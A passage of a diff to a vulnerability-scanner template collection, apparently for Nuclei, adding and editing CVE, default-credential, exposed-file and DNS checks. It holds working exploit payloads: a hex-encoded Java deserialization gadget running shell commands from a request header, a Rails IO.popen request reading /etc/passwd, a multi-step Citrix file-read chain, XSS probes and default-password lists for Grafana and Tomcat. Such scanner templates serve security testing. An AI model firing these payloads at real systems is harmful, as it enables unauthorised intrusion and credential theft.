368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "Could not resolve host"
-        part: body
+          - "Microsoft Corporation"
+          - "Distributor ID"
+          - "kern.ostype"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "Microsoft Windows (.*)"
+          - "kern.ostype: (.*)"
+          - "Distributor ID: (.*)"

cves/CVE-2020-8163.yaml

@@ -0,0 +1,22 @@
+id: CVE-2020-8163
+
+info:
+  name: Potential Remote Code Execution on Rails
+  author: tim_koopmans
+  severity: high
+  description: Tests for ability to pass user parameters as local variables into partials
+  # reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-8191.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-8191
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected XSS
+  # Leads to RCE
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /menu/stapp HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 96
+        Content-Type: application/x-www-form-urlencoded
+        X-NITRO-USER: xpyZxwy6
+
+        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</title><script>alert(31337)</script>"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8193.yaml

@@ -0,0 +1,88 @@
+id: CVE-2020-8193
+
+info:
+  name: Citrix unauthenticated LFI
+  author: pdteam
+  severity: high
+
+  # Source:- https://github.com/jas502n/CVE-2020-8193
+
+requests:
+  - raw:
+      - |
+        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+        X-NITRO-USER: xpyZxwy6
+        X-NITRO-PASS: xWXHUJ56
+
+        <appfwprofile><login></login></appfwprofile>
+
+      - |
+        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /menu/neo HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /menu/stc HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+
+      - |
+        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+        Content-Type: application/xml
+        X-NITRO-USER: oY39DXzQ
+        X-NITRO-PASS: ZuU9Y9c1
+        rand_key: randkey
+
+        <appfwprofile><login></login></appfwprofile>
+
+      - |
+        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+        Content-Type: application/xml
+        X-NITRO-USER: oY39DXzQ
+        X-NITRO-PASS: ZuU9Y9c1
+        rand_key: randkey
+
+        <clipermission></clipermission>
+
+    cookie-reuse: true
+
+    # Using cookie-reuse to maintain session between each request, same as browser.
+
+    extractors:
+      - type: regex
+        name: randkey
+        part: body
+        internal: true
+        regex:
+          - "(?m)[0-9]{3,10}\\.[0-9]+"
+
+    # Using rand_key as dynamic variable to make use of extractors at run time.
+
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-8194.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-8194
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected Code Injection
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        DNT: 1
+        Connection: close
+        Cookie: startupapp=st
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<jnlp codebase=\"nonexistent.1337\">"
+        part: body
+      - type: word
+        words:
+          - "application/x-java-jnlp-file"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-9496.yaml

@@ -0,0 +1,55 @@
+id: CVE-2020-9496
+
+info:
+  name: Apache OFBiz XML-RPC Java Deserialization
+  author: dwisiswant0
+  severity: medium
+
+  # This temaplte detects a Java deserialization vulnerability in Apache
+  # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
+  # versions prior to 17.12.04.
+  # --
+  # References:
+  # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Origin: http://{{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8080
+        Origin: http://{{Hostname}}:8080
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8443
+        Origin: https://{{Hostname}}:8443
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "faultString"
+          - "No such service [ProjectDiscovery]"
+          - "methodResponse"
+        condition: and
+        part: body
+      - type: word
+        words:
+          - "Content-Type: text/xml"
+        part: header
+      - type: status
+        status:
+          - 200

default-credentials/grafana-default-credential.yaml

@@ -0,0 +1,61 @@
+id: grafana-default-credential
+info:
+  name: Grafana Default Credentials Check
+  author: pdteam
+  severity: high
+
+requests:
+
+    # https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
+    # https://github.com/grafana/grafana/issues/14755
+    # Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
+    # So make sure, not to attempt more than 4 password for same valid user.
+
+  - payloads:
+
+    # grafana_username:
+    #  - admin
+
+      grafana_password:
+        - prom-operator
+        - admin
+
+    # Added default grafana and prometheus user.
+    # Source:- https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page
+
+    attack: sniper
+
+    # Available types: sniper, pitchfork and clusterbomb
+
+    raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+        content-type: application/json
+        Connection: close
+
+        {"user":"admin","password":"grafana_password"}
+
+     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - grafana_session
+        part: header
+        # Check for 'grafana_session' cookie on valid login in the response header.
+
+      - type: word
+        words:
+          - Logged in
+        part: body
+        # Check for valid string on valid login.
+
+      - type: status
+        status:
+          - 200

default-credentials/tomcat-manager-default.yaml

@@ -1,15 +1,22 @@
-id: tomcat-manager-bruteforce
+id: tomcat-manager-default
 info:
-  name: tomcat-manager-bruteforce-fuzzing
+  name: tomcat-manager-default-password
   author: pdteam
   severity: high
 
 requests:
-  - payloads:
-      username: username.txt
-      password: password.txt
 
-      # make sure you have your wordlist on the defind path.
+  - payloads:
+      username:
+        - admin
+
+      password:
+        - admin
+        - guest
+        - password
+        - test
+        - 12345
+        - 123456
 
     attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
 
@@ -18,13 +25,17 @@ requests:
       - |
         GET /manager/html HTTP/1.1
         Host: {{Hostname}}
-        Authorization: Basic {{base64(username:password)}}
+        Authorization: Basic {{base64('username:password')}}
         User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
-        Accept-Encoding: gzip, deflate
         Accept-Language: en-US,en;q=0.9
         Connection: close
 
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
+
+      - type: word
+        words:
+          - Apache Tomcat

dns/azure-cnames-finder.yaml

@@ -1,37 +0,0 @@
-id: azure-cnames-finder
-
-info:
-  name: Azure CNAMEs
-  author: mzack9999
-  severity: informative
-
-  # Update the list with more CNAMEs related to azure
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "azure-api.net"
-          - "azure-mobile.net"
-          - "azurecontainer.io"
-          - "azurecr.io"
-          - "azuredatalakestore.net"
-          - "azureedge.net"
-          - "azurefd.net"
-          - "azurehdinsight.net"
-          - "azurewebsites.net"
-          - "azurewebsites.windows.net"
-          - "blob.core.windows.net"
-          - "cloudapp.azure.com"
-          - "cloudapp.net"
-          - "database.windows.net"
-          - "redis.cache.windows.net"
-          - "search.windows.net"
-          - "servicebus.windows.net"
-          - "trafficmanager.net"
-          - "visualstudio.com"

dns/cname-service-detector.yaml

@@ -3,7 +3,7 @@ id: cname-service-detector
 info:
   name: 3rd party service checker
   author: bauthard
-  severity: informative
+  severity: info
 
 dns:
   - name: "{{FQDN}}"

dns/dead-host-with-cname.yaml

@@ -3,7 +3,7 @@ id: dead-host-with-cname
 info:
   name: dead-host-with-cname
   author: pdnuclei - projectdiscovery.io
-  severity: informative
+  severity: info
 
 dns:
   - name: "{{FQDN}}"

dns/filter-valid.yaml

@@ -1,19 +0,0 @@
-id: filter-valid
-
-info:
-  name: Valid Domains Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NOERROR"
-          - "IN\tCNAME"
-          - "IN\tA"

dns/filter-wildcard.yaml

@@ -1,19 +0,0 @@
-id: filter-wildcard
-
-info:
-  name: Wildcard Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "0831058744.{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NXDOMAIN"
-          - "SERVFAIL"
-          - "REFUSED"

dns/servfail-refused-hosts.yaml

@@ -3,7 +3,7 @@ id: servfail-refused-hosts
 info:
   name: Servfail Host Finder
   author: mzack9999
-  severity: informative
+  severity: info
 
 dns:
   - name: "{{FQDN}}"

examples/basic-dns-example.yaml

@@ -1,18 +0,0 @@
-id: basic-dns-example
-
-info:
-  name: Basic DNS Request
-  author: pdteam
-  severity: info
-
-dns:
-  - name: "{{FQDN}}"
-    type: CNAME
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          # The response must contains a CNAME record
-          - "IN\tCNAME"

examples/basic-http-example.yaml

@@ -1,15 +0,0 @@
-id: basic-http-test
-
-info:
-  name: Test File
-  author: pdteam
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/test.txt"
-    matchers:
-      - type: word
-        words:
-          - "This is test!"

examples/chained-workflow-multiple-templates.yaml

@@ -1,31 +0,0 @@
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining temapltes using variables.
-  # variables names as user defind, it could be anything.
-  # relative path support is now added into nuclei engine for better UX.
-
-  jira: panels/detect-jira.yaml
-  jira_cve_1: cves/CVE-2018-20824.yaml
-  jira_cve_2: cves/CVE-2019-3399.yaml
-  jira_cve_3: cves/CVE-2019-11581.yaml
-  jira_cve_4: cves/CVE-2017-18101.yaml
-
-logic:
-  |
- # defening conditionals templates.
-  if jira() {
-
- # if above conditon retruns true, run all the below tempaltes.
- # if above conditon fails, no tempaltes will be executed.
-
-    jira_cve_1()
-    jira_cve_2()
-    jira_cve_3()
-    jira_cve_4()
-
-  }

examples/dns-multiple-example.yaml

@@ -1,22 +0,0 @@
-id: dns-multiple-example
-
-info:
-  name: DNS Multiple test
-  author: pdteam
-  severity: info
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "example-cname.com"
-
-      - type: word
-        words:
-          - "NXDOMAIN"

examples/http-intruder-fuzz.yaml

@@ -1,37 +0,0 @@
-id: dummy-raw
-info:
-  name: Example-Fuzzing
-
-requests:
-  - payloads:
-      param_a: /home/user/wordlist_param_a.txt
-      param_b: /home/user/wordlist_param_b.txt
-    attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-        POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
-        User-Agent: {{param_a}}
-        Host: {{Hostname}}
-        another_header: {{base64(param_b)}}
-        Accept: */*
-
-        This is the Body
-      # Request with body manipulation
-      - |
-        DELETE / HTTP/1.1
-        User-Agent: nuclei
-        Host: {{Hostname}}
-
-        This is the body {{sha256(param_a)}}
-      # Yet another one
-      - |
-        PUT / HTTP/1.1
-        Host: {{Hostname}}
-
-        This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
-    matchers:
-      - type: word
-        words:
-          - "title"
-          - "body"

examples/http-multiple-matcher-condition.yaml

@@ -1,43 +0,0 @@
-id: http-multiple-matcher-condition
-
-info:
-  name: Test Template
-  author: pdteam
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/test.txt"
-
-    matchers-condition: or
-
-    # matchers-condition supports AND or OR operation
-
-    matchers:
-      - type: word
-        name: php
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        part: header
-      - type: word
-        name: node
-        words:
-          - "Server: NodeJS"
-          - "X-Powered-By: nodejs"
-        condition: or
-        part: header
-      - type: word
-        name: python
-        words:
-          - "Python/2."
-          - "Python/3."
-        condition: or
-        part: header
-
-      - type: word
-        name: burp
-        words:
-          - "Burp Collaborator"
-        part: header

examples/http-multiple-matcher.yaml

@@ -1,33 +0,0 @@
-id: http-multiple-matcher
-
-info:
-  name: Test Template
-  author: pdteam
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/test.txt"
-
-    matchers:
-      - type: word
-        name: php
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        part: header
-      - type: word
-        name: node
-        words:
-          - "Server: NodeJS"
-          - "X-Powered-By: nodejs"
-        condition: or
-        part: header
-      - type: word
-        name: python
-        words:
-          - "Python/2."
-          - "Python/3."
-        condition: or
-        part: header

examples/http-raw-multiple.yaml

@@ -1,33 +0,0 @@
-id: http-raw-example
-
-info:
-  name: HTTP Raw Test
-  author: pdteam
-  severity: info
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{BaseURL}}
-        Connection: close
-        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-
-      - |
-        GET /testing HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{BaseURL}}
-        Connection: close
-        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-
-    matchers:
-      - type: word
-        words:
-          - "Test is test"

examples/http-raw.yaml

@@ -1,23 +0,0 @@
-id: http-raw-example
-
-info:
-  name: HTTP Raw Test
-  author: pdteam
-  severity: info
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{BaseURL}}
-        Connection: close
-        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-
-    matchers:
-      - type: word
-        words:
-          - "Test is test"

files/cgi-test-page.yaml

@@ -0,0 +1,22 @@
+id: cgi-test-page
+info:
+  name: CGI Test page
+  author: YASH ANAND @yashanand155
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/test/test.cgi"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - HTTP_ACCEPT
+          - HTTP_ACCEPT_ENCODING
+        condition: and
+
+      - type: status
+        status:
+          - 200

files/debug-pprof.yaml

@@ -1,15 +0,0 @@
-id: debug-pprof
-
-info:
-  name: pprof debug file
-  author: pdteam
-  severity: low
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/debug/pprof/"
-    matchers:
-      - type: word
-        words:
-          - "Types of profiles available"

files/dir-listing.yaml

@@ -3,7 +3,7 @@ id: dir-listing
 info:
   name: Directory listing enabled
   author: _harleo
-  severity: low
+  severity: info
 
 requests:
   - method: GET

files/ds_store.yaml

@@ -0,0 +1,30 @@
+id: ds-store-file
+
+info:
+  name: Dirctory Listing via DS_Store
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.DS_Store"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "\x00@\x00"
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Accept-Ranges: bytes"
+          - "octet-stream"
+        condition: or
+        part: header

files/exposed-kibana.yaml

@@ -0,0 +1,26 @@
+id: exposed-kibana
+
+info:
+  name: Exposed Kibana
+  author: Shine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/'
+      - '{{BaseURL}}:5601/'
+      - '{{BaseURL}}/app/kibana/'
+      - '{{BaseURL}}:5601/app/kibana/'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kibanaWelcomeView'
+          - 'cluster_uuid'
+          - 'kibanaWelcomeLogo'
+          - 'kibanaWelcomeTitle'
+      - type: status
+        status:
+          - 200

files/filezilla.yaml

@@ -0,0 +1,29 @@
+id: filezilla-exposed
+
+info:
+  name: Filezilla
+  author: amsda
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/filezilla.xml"
+      - "{{BaseURL}}/sitemanager.xml"
+      - "{{BaseURL}}/FileZilla.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<FileZilla"
+          - "<Servers>"
+        condition: and
+
+      - type: word
+        words:
+          - xml
+        part: header
+
+      - type: status
+        status:
+          - 200

files/git-config.yaml

@@ -4,6 +4,7 @@ info:
   name: Git Config Disclosure
   author: Ice3man
   severity: medium
+  description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
   - method: GET

files/htaccess-config.yaml

@@ -0,0 +1,18 @@
+id: htaccess-config
+
+info:
+  name: HTaccess config file
+  author: Yash Anand @yashanand155
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.htaccess"
+    matchers:
+      - type: word
+        words:
+          - RewriteRule
+          - </IfModule>
+          - <IfModule
+        condition: and

files/lazy-file.yaml

@@ -0,0 +1,20 @@
+id: lazy-file-manager
+
+info:
+  name: Lazy File Manager
+  author: amsda
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lfm.php"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - Lazy File Manager

files/public-tomcat-instance.yaml

@@ -3,7 +3,7 @@ id: public-tomcat-instance
 info:
   name: tomcat manager disclosure
   author: Ahmed Sherif
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/security.txt.yaml

@@ -3,7 +3,7 @@ id: security-txt
 info:
   name: Security.txt File
   author: bad5ect0r
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/telerik-fileupload-detect.yaml

@@ -12,4 +12,4 @@ requests:
     matchers:
       - type: word
         words:
-          - "RadAsyncUpload handler is registered successfully"
+          - "RadAsyncUpload handler is registered succesfully"

files/tomcat-scripts.yaml

@@ -10,9 +10,14 @@ requests:
     path:
       - "{{BaseURL}}/examples/servlets/index.html"
       - "{{BaseURL}}/examples/jsp/index.html"
+      - "{{BaseURL}}/examples/websocket/index.xhtml"
+      - "{{BaseURL}}/..;/examples/servlets/index.html"
+      - "{{BaseURL}}/..;/examples/jsp/index.html"
+      - "{{BaseURL}}/..;/examples/websocket/index.xhtml"
     matchers:
       - type: word
         words:
           - "JSP Examples"
           - "JSP Samples"
           - "Servlets Examples"
+          - "WebSocket Examples"

files/wadl-files.yaml

@@ -2,16 +2,34 @@ id: wadl-files
 
 info:
   name: wadl file disclosure
-  author: 0xrudra
-  severity: informative
+  author: 0xrudra & manuelbua
+  severity: info
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/application.wadl"
-      - "{{BaseURL}}/service?Wsdl"
+      - "{{BaseURL}}/application.wadl?detail=true"
+      - "{{BaseURL}}/api/application.wadl"
+      - "{{BaseURL}}/api/v1/application.wadl"
+      - "{{BaseURL}}/api/v2/application.wadl"
     matchers:
-      - type: word
+      - name: http-get
+        type: word
+        words:
+          - "This is simplified WADL with user and core resources only"
+          - "\"http://jersey.java.net/\""
+          - "http://wadl.dev.java.net/2009/02"
+        condition: or
+        part: body
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/api/v1"
+      - "{{BaseURL}}/api/v2"
+    matchers:
+      - name: http-options
+        type: word
         words:
           - "This is simplified WADL with user and core resources only"
           - "\"http://jersey.java.net/\""

files/web-config.yaml

@@ -0,0 +1,22 @@
+id: web-config
+info:
+  name: Web Config file
+  author: Yash Anand @yashanand155
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/web.config'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <configuration>
+          - <system.webServer>
+        condition: and
+
+      - type: status
+        status:
+          - 200

files/wordpress-directory-listing.yaml

@@ -3,7 +3,7 @@ id: wordpress-directory-listing
 info:
   name: Wordpress directory listing
   author: Manas_Harsh
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/wordpress-user-enumeration.yaml

@@ -1,9 +1,9 @@
-id: wordpress-user-enumaration
+id: wordpress-user-enumeration
 
 info:
   name: Wordpress user enumeration
   author: Manas_Harsh
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/wp-xmlrpc.yaml

@@ -3,7 +3,7 @@ id: wordpress-xmlrpc-file
 info:
   name: WordPress xmlrpc
   author: udit_thakkur
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

generic-detections/top-15-xss.yaml

@@ -0,0 +1,23 @@
+# id contains the unique identifier for the template.
+id: top-15-xss
+
+info:
+  # Name is the name of the template
+  name: Top 15 XSS Check
+  # Author is the name of the author for the template
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
+  author: foulenzer
+  # Severity is the severity for the template.
+  severity: medium
+  #  Description optionally describes the template.
+  description: Searches for reflected XSS in the server response via GET-requests.
+
+requests:
+  - method: GET
+    path:
